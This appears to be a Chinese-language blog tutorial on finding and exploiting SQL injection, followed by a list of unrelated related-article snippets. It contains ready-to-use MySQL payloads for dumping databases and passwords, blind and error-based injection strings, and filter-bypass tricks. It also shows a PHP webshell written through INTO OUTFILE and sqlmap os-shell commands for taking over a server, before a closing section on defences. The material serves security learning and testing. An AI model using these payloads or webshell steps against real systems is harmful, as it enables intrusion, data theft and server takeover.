挖漏洞之SQL注入
(一)漏洞原理
1、 漏洞原理
SQL注入的原理是,是应用系统没有对传递的参数进行过滤,让参数直接拼接到SQL语句中,攻击通过对参数进行篡改,当参数传递到数据库中,逻辑上就会发生变化,就产生新SQL语句,造成一些不好后果
2、案例讲解
假如某业务查询功能,一般实现过程是:后端接受参数,带入查询语句中,再把查询内容返回前端,这是语句的实现:
$userID = $_POST['userID'];
$sql = "SELECT * FROM users WHERE userID = '$userID';
攻击者通过拦截到userID参数,对其植入恶意代码:userID = ' OR 1 = 1 --+
最终SQL语句变成:
SELECT * FROM users WHERE userID = ' ' OR 1 = 1 --+
这条 SQL 语句查询出了
users
表中的所有数据,因为OR 1=1
永远为真。攻击者可以进一步利用这个漏洞来获取更多的数据或执行其他操作,甚至删除数据表
所以,我认为SQL漏洞的本质,就是想进方法向参数中注入恶意代码,当参数传递到数据库中,SQL语句就发生了变化,执行之后就会产生SQL注入漏洞。
(二)漏洞分类
1、按照请求类型分类:
- GET型:通过修改URL中的参数值来注入恶意SQL语句。
- POST型:通过修改POST请求中的参数值来注入恶意SQL语句
- Cookie注入型:在请求头的Cookie参数中注入恶意的SQL语句,
2、按照字符类型分类:
- 数字型:攻击者试图将SQL代码注入到数字型的数据字段中。通常在后面加入测试语句:and 1=1
- 字符型:将SQL代码注入到字符型的数据字段中,通常在后面加入测试语句:’or 1=1
3、按照测试方法测试:
- 报错:这是基于应用程序在处理错误时返回详细信息的漏洞,通过构造恶意的SQL语句来触发应用程序产生错误,并从错误信息中获取敏感数据或执行其他恶意操作,
- 延时:这是一种利用在响应时间上的差异来判断漏洞的攻击方法,通过构造恶意的SQL语句,利用数据库管理系统的延时函数来判断查询是否成功执行,并据此推测SQL注入漏洞的存在,利用sleep()或benchmark()等函数让mysql执行时间变长
- 盲注型:攻击者无法直接从响应中获取有关注入结果的详细信息,然后通过构造特定的SQL语句,利用在不同条件下的响应差异来推断查询的结果,常用构建盲注函数:substr()、Left()、ORD()
- 布尔型:在响应中的布尔条件语句的结果来判断查询是否成功执行的一种攻击方法。通过构造恶意的SQL语句并观察应用程序的响应,来推断SQL查询的结果,结果根据false和true不返回数据库数据
(三)基本测试方法
1、SQL注入常出现位置:
只要需要带入到数据库中的参数有可能存在SQL注入,常见位置如下:
用户输入表单:用户可以通过网站的表单(如搜索框、注册表单、登录表单等)提交数据给服务器
- URL参数:URL参数是传递给应用程序的一种常见方式,产生url参数有两个来源,一是get请求会生成url参数,还有一个是隐藏的参数,网站使用隐藏字段来存储数据,这些字段可以在表单提交时自动包含在请求中。
- Cookies:cookies本身不会发生sql注入,可能会引发sql注入是因为,cookie是网络中识别用户身份的特殊文本,当开发人员在使用Cookie中存储的数据时,如果未进行适当的数据验证和处理,从而直接将Cookie数据用于SQL查询,就可能导致SQL注入漏洞的发生
- HTTP头信息:攻击者通过修改HTTP请求的头部信息中的值来注入恶意的SQL语句(UserAgent、Referer,等),这些自动生成并发送给服务器的头信息,本身不会导致sql注入,在某些情况下,攻击者可能会尝试使用特殊字符来触发应用程序中的漏洞,
2、基本测试过程如下:
第一步,找注入点:在参数后面加入单引号等特殊字符,查看是否引起报错,或是修改参数的值,观察对输入是否过滤和转义
第二步,找回显点,没有回显,测试盲注和延时。前面尝试通过加入特殊字符或者修改值引起报错,如果有报错信息就测试抱错型SQL注入,没有则测试盲注和延时注入
第三步,写poc,根据测试结果编写利用该漏洞的 POC,常见的通用payload如下(基于MySQL):
爆破数据库:group_concat(schema_name) from information_schema.schemata
爆破数据表:group_concat(table_name) from information_schema.columns where table_schema=database()
爆破字段:group_concat(column_name) from information_schema.columns where table_name='表名'
爆破字段内容:group_concat(username,0x7e,password) from 表名
3、报错型SQL注入:
第一步,查找引起报错的特殊字符,一般是单引号或者双引号: ?id=1' 或 ?id=1"
第二步,判断字段个数:?id=1' and 1=1 order by N --+ N从1开始测试,出现报错的时候说明有N-1个
第三步,找回显点:返回报错信息的地方,就是回显点,但有时候没有,那就需要自己寻找,常见方法: union select 1,2,3...N--+ 其中N是字段个数
第四步:找注入点, ?id= -1' union select 1,2,3--+ 中 2,3都是注入点
第五步:爆破数据库: ?id= -1' union select 1,2,database()--+ 找到注入点之后,就是把上面的payload换到注入点中,下面6,7,8步骤也一样的第六步:爆破数据表:?id= -1' union select 1,2,(group_concat(table_name) from information_schema.columns where table_schema=database())--+
第七步:爆破字段:?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='数据表' --+
第八步:爆破字段内容:?id=-1' union select 1,2, group_concat(username,0x7e,password) from 数据表 --+
4、盲注型SQL注入
当没有特殊符号没有回显的时候,就测试盲注,盲注可以分为布尔盲注和延时盲注,
- 布尔盲注是,语句中采用了if语句判断,条件为真则回显内容,接着布尔环境下,来判断是否执行,成功执行,就是存在SQL注入漏洞
- 延时盲注是,借助延时函数,来判断是否执行,如果延时执行,则说明存在SQL注入
区别是就是注入点构造不同
1、布尔盲注
?id=1' 成功执行,内容消失,
?id=1' and 1=1 --+ 成功执行,内容显示?id=1' and 1=2 --+ 成功执行,内容消失
第一步:找注入点:经过测试找到:?id=1' or 1=1 其中1=1就是注入点,表达式为true
第二步:判断数据库长度:?id=1' or length(database())=8 --+ 如果数据库长度为8 条件就为true,就会显示内容,从1开始慢慢测试,database()是查询当前数据库,换成查询数据表,则可以判断数据表长度
第三步:爆破数据库:
猜测第一个字母:?id=1' or ascii(substr(database(),1,1))= 115--+ //115是s的ascii编号
猜测第二个字母:?id=1' or ascii(substr(database(),2,1))
第四步:猜测数据表长度:?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>6 --+
limit 0,1表示第一个表
limit 1,1表示第二个表第五步:爆破数据表:和猜测数据库一样
?id=1' or ascii(substr(((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1))= 115
第六步:爆破字段长度:
第七步:爆破字段内容:
2、延时盲注
?id=1' 正常响应
?id=1' and sleep(5) --+ 明显延长5秒中显示第一步:爆破数据库长度:?id=1' and if(length(database())=8,sleep(5),0)
第二步:爆破数据库:?id=1' and if(ascii(mid(database(),1,1))<=135,sleep(5),0) --+ 从第一个字母爆破开始,逐渐爆破
第三步:爆破数据表长度
第四步:爆破数据表
第五步:爆破字段个数
第六步:爆破字段
盲注需要用到的函数:extractvalue()、updatexml()、floor()1、extractvalue()函数:用于从 XML 类型的数据中提取指定节点的值
extractvalue(xml_document, xpath_expression)
爆破数据库:?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段爆破数据表:?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e)) --+
2、updatexml()函数:用于在 XML 类型的数据中更新或插入某个节点
updatexml(xml_document, xpath_expression, new_value)
爆破数据库:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段爆破数据表:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1) --+
3、foolr函数()
爆破数据库:?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
database()是注入点,只需要把查询更换就可以查询数据表或字段爆破数据表:?id=-1' union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
5、HTTP头注入
HTTP 头部注入攻击和 SQL 注入攻击是其实两个不同的概念,但是有时候,HTTP 头部注入攻击有时候会直接导致 SQL 注入攻击,这是因为系统需要接受这些头部参数,来是识别一些信息,然后又没有做合适的过滤,导致攻击者可以在http头部参数注入恶意代码,最终导致sql注入
常见的HTTP头部注入:
- UA 注入: User-Agent 头中引起sql注入
- Host 注入:Host中引起sql注入
- Referer 注入:Referer 头引起sql注入
- XFF注入:在X-Forwarded-For头引起sql注入
- cookie注入,在cookie的引起sql注入
此外,其他一些HTTP头都有可能存在SQL注入,
6、堆叠注入
第一步判断堆叠注入:直接在sql语句中,加上分号,在写一个sql语句,看是否成功执行
第二步:直接查询,像上面一样,先查询数据库,其次数据表,字段,字段内容
7、宽字节注入
第一步判断宽字节注入:在参数后加入%df等,查看是否成功执行,比如引发报错,等
第二步:和上面一样,先查询数据库,其次数据表,字段,字段内容
8、二次注入
二次注入:已存储(数据库、文件)的用户输入被读取后,再次进入到 SQL 查询语句中导致的注入
(四)进阶测试方法
进阶测试方法是,目标网站有防御措施的情况下,进行测试的方法
1、针对过滤的绕过方法
- 过滤空格:注释符/**/绕过、编码(url、ascii)绕过、浮点数绕过、Tab替代空格、两个空格替代一个空格、括号绕过、Emoji绕过、回车代替空格,--%0a代替空格
- 过滤引号:使用16进制绕过
- 过滤逗号:from关键字绕过、join关键字绕过、like关键字绕过、offset关键字绕过,substr(),mid(),limit函数绕过
- 过滤注释符(# --):手动闭合引号,不使用注释符
- 过滤比较符号 ( < 和 > ):使用greatest()、least()函数绕过、使用between and绕过
- 过滤等号( = ):使用like 、rlike 、regexp过滤、 使用<或>过滤
- 过滤or and xor not:使用符号代替(and=`&&` or=`||` xor=`|` not=`!`)
- 过滤union,select,where等关键字:使用注释符绕过、使用大小写绕过、使用内联注释绕过、双关键字绕过、加号+拆解字符串绕过、语法新特性绕过屏蔽、分割关键字绕过、编码绕过
2、针对次数限制的绕过方法:
延时注入:设置延时时间
(五)利用方式
获取后台数据库中存放的目标的隐私信息,并进一步利用这些信息渗透拓展;
对目标网站挂马,进一步有针对性地开展钓鱼攻击;
获取后台应用系统的控制权限,进一步控制后台服务器
方式一:通过SQL注入写入文件获取webshellSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/webshell.php' 将恶意代码写入webshell文件。 攻击者可以通过访问webshell文件并提供系统命令参数来控制服务器 指定目标服务器上可访问的路径和文件名,确保写入的webshell文件能够被访问到
方式二:通过这个SQLMAP的这个 --os-cmd这种参数来进行webshll
sqlmap -u "http://target.com/vuln.php?id=1" --os-cmd="ls -la > /var/www/html/webshell.txt" 使用–os-cmd参数执行操作系统命令并将结果输出到webshell文件 在注入成功后,可以通过浏览器或其他工具访问webshell文件,获取对服务器的控制权
方式三:就是--os-shell的方式来进行写webshell
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell 使用–os-shell参数与目标服务器建立交互式的shell连接 成功建立shell连接后,可以执行各种命令、浏览目录、上传和下载文件等操作,从而控制服务器
(六)防御方法
参数化查询接口,因为参数化的一个查询接口的话 他可以做到参数的一个过滤和执行重用 可以保障这个SQL语句的语义不改变,保持一个原始的一个查询意思,简单的说, 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 所以就算在参数中写入了一些恶意的指令 SQL服务器她也不会去执行这个指令的
对所有的用户输入进行严格的验证和过滤,对关键字或者特殊字符,确保输入数据符合预期的格式和类型(关键字:and、or、select、declare、update、xp_cmdshell,特殊字符:’、”、;)
配置额外的配置,避免打印SQL的一些错误消息出来
限制数据库用户的权限,确保数据库用户只能执行必要的操作,并限制其对数据库结构的访问权限
相关文章:
挖漏洞之SQL注入
(一)漏洞原理 1、 漏洞原理 SQL注入的原理是,是应用系统没有对传递的参数进行过滤,让参数直接拼接到SQL语句中,攻击通过对参数进行篡改,当参数传递到数据库中,逻辑上就会发生变化,就…...

面试篇之微服务(二)
目录 服务容灾 21.什么是服务雪崩? 22.什么是服务熔断?什么是服务降级? 什么是服务熔断? 什么是服务降级? 有哪些熔断降级方案实现? 23.Hystrix怎么实现服务容错? 24.Sentinel怎么实现限…...
java封装详解
/*** Description 封装详解*/ package com.oop;import com.oop.demo04.Student; /*1.提高程序的安全性,保护数据2.隐藏代码的实现细节3.统一接口4.系统可维护增加了*/ public class Application {public static void main(String[] args) {Student s1 new Student(…...

Make sure bypassing Vue built-in sanitization is safe here.
一、问题描述 二、问题分析 XSS(跨站脚本攻击) XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括J…...

企业的内容站点SEO应该怎么做更有效果?
在当今数字化时代,搜索引擎优化(SEO)已成为企业内容站点不可或缺的一部分。通过优化网站的结构、内容和链接等方面,企业可以提高其在搜索引擎中的排名,吸引更多的潜在客户,并增加品牌曝光度。那么ÿ…...

mac电脑下载Netflix Mac(奈飞客户端)安装教程
Netflix Mac,奈飞官方客户端,带给您无限的电影和剧集体验!与朋友分享最新热门剧集、电影,与家人一起享受高品质的流媒体内容。 通过Netflix Mac,您可以轻松地搜索、浏览和观看各种类型的影片,包括剧情片、…...

PCL 计算点云图中任意两点的欧式距离
目录 一、算法原理二、代码实现三、结果展示四、相关链接本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT。 一、算法原理 使用PCL实现在可视化界面上用鼠标点选两个点,输出两点的坐标和两点之间的欧式距离。 二、代码…...
使用OssImport 工具将文件上传到阿里云OSS
前言 OssImport 工具由阿里云OSS 提供 使用 OssImport 将文件上传到阿里云OSS 参考这里 参考 使用OssImport 将阿里云服务器ECS上的文件上传到阿里云OSS ossimport概述 使用ossimport迁移数据...

充电桩新老国标兼容性分析
1、背景介绍 1.1、充电桩相关标准发展历程 1.2、兼容性分析历史 1.3、兼容性分析的目的 1.4、兼容性分析的内容 2、B类协议兼容性分析 2.1、协议分层结构 2.2、链路层分析 2.3、版本协商与链路检测 ## 2.4、传输层分析 2.5、应用层 2.5.1、应用层数据 2.5.2、应用层数据…...

ApiSix的docker 容器化部署及使用
⼀.etcd安装 Docekr安装Etcd 环境准备 此处安装,是利⽤下载的 etcd 源⽂件,利⽤ docker build 构建完整镜像,具体操作如下: 1.环境准备 1.1. 新建⽂件夹 在磁盘某个路径下新建⼀个⽂件夹,⽤处操作 Dockerfi…...
第十节HarmonyOS 使用资源引用类型
Resource是资源引用类型,用于设置组件属性的值。推荐大家优先使用Resource类型,将资源文件(字符串、图片、音频等)统一存放于resources目录下,便于开发者统一维护。同时系统可以根据当前配置加载合适的资源,…...

ntopng如何将漏洞扫描与流量监控相结合,以提高网络安全性
来源:艾特保IT 虹科干货 | ntopng如何将漏洞扫描与流量监控相结合,以提高网络安全性 欢迎关注虹科,为您提供最新资讯! ntopng为人所知的“身份”是被动流量监控。然而,如今的ntopng6.0也进化出主动监控功能来…...

使用coco数据集进行语义分割(1):数据预处理,制作ground truth
如何coco数据集进行目标检测的介绍已经有很多了,但是关于语义分割几乎没有。本文旨在说明如何处理 stuff_train2017.json stuff_val2017.json panoptic_train2017.json panoptic_val2017.json,将上面那些json中的dict转化为图片的label mask&am…...

神经网络 模型表示2
神经网络 模型表示2 使用向量化的方法会使得计算更为简便。以上面的神经网络为例,试着计算第二层的值: 我们令 z ( 2 ) θ ( 1 ) x {{z}^{\left( 2 \right)}}{{\theta }^{\left( 1 \right)}}x z(2)θ(1)x,则 a ( 2 ) g ( z ( 2 ) ) {{a}…...
ubuntu使用SSH服务远程登录另一台设备
1、安装openssh-client和openssh-server 查看当前的ubuntu是否安装了ssh-server服务。默认只安装ssh-client服务。 dpkg -l | grep ssh查看有没有openssh-client的相关字眼。 2、安装ssh-server服务(受控制方) sudo apt-get install openssh-server再…...

读书笔记:《Effective Modern C++(C++14)》
Effective Modern C(C14) GitHub - CnTransGroup/EffectiveModernCppChinese: 《Effective Modern C》- 完成翻译 Deducing Types 模版类型推导: 引用,const,volatile被忽略数组名和函数名退化为指针通用引用&#…...
PCL 点云加权均值收缩
文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 受到之前Matlab 加权均值质心计算(WMN)的启发,我们在计算每个点的加权质心时可以很容易的发现,他们这些点会受到周围邻近点密度的影响,最后会收缩到某一个区域,那么这个区域也必定是我们比较感兴趣的一些点,…...

计算机毕业设计 基于协同推荐的白酒销售管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解
博主介绍:✌从事软件开发10年之余,专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ 🍅文末获取源码联系🍅 👇🏻 精…...
React-hook-form-mui(五):包含内嵌表单元素的表单
前言 在上一篇文章中,我们介绍了react-hook-form-mui如何与与后端数据联调。在实际项目中,从后端获取的数据可能是复杂的数据对象,本文将介绍,如何通过react-hook-form-mui实现一个包含内嵌表单元素的表单 Demo 以下代码实现了…...

【内网安全】搭建网络拓扑,CS内网横向移动实验
文章目录 搭建网络拓扑 ☁环境CS搭建,木马生成上传一句话,获取WebShellCS上线reGeorg搭建代理,访问内网域控IIS提权信息收集横向移动 实验拓扑结构如下: 搭建网络拓扑 ☁ 环境 **攻击者win10地址:**192.168.8.3 dmz win7地址&…...

微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...

盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来
一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...

Unity3D中Gfx.WaitForPresent优化方案
前言 在Unity中,Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染(即CPU被阻塞),这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案: 对惹,这里有一个游戏开发交流小组&…...

Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
大模型多显卡多服务器并行计算方法与实践指南
一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

10-Oracle 23 ai Vector Search 概述和参数
一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI,使用客户端或是内部自己搭建集成大模型的终端,加速与大型语言模型(LLM)的结合,同时使用检索增强生成(Retrieval Augmented Generation &#…...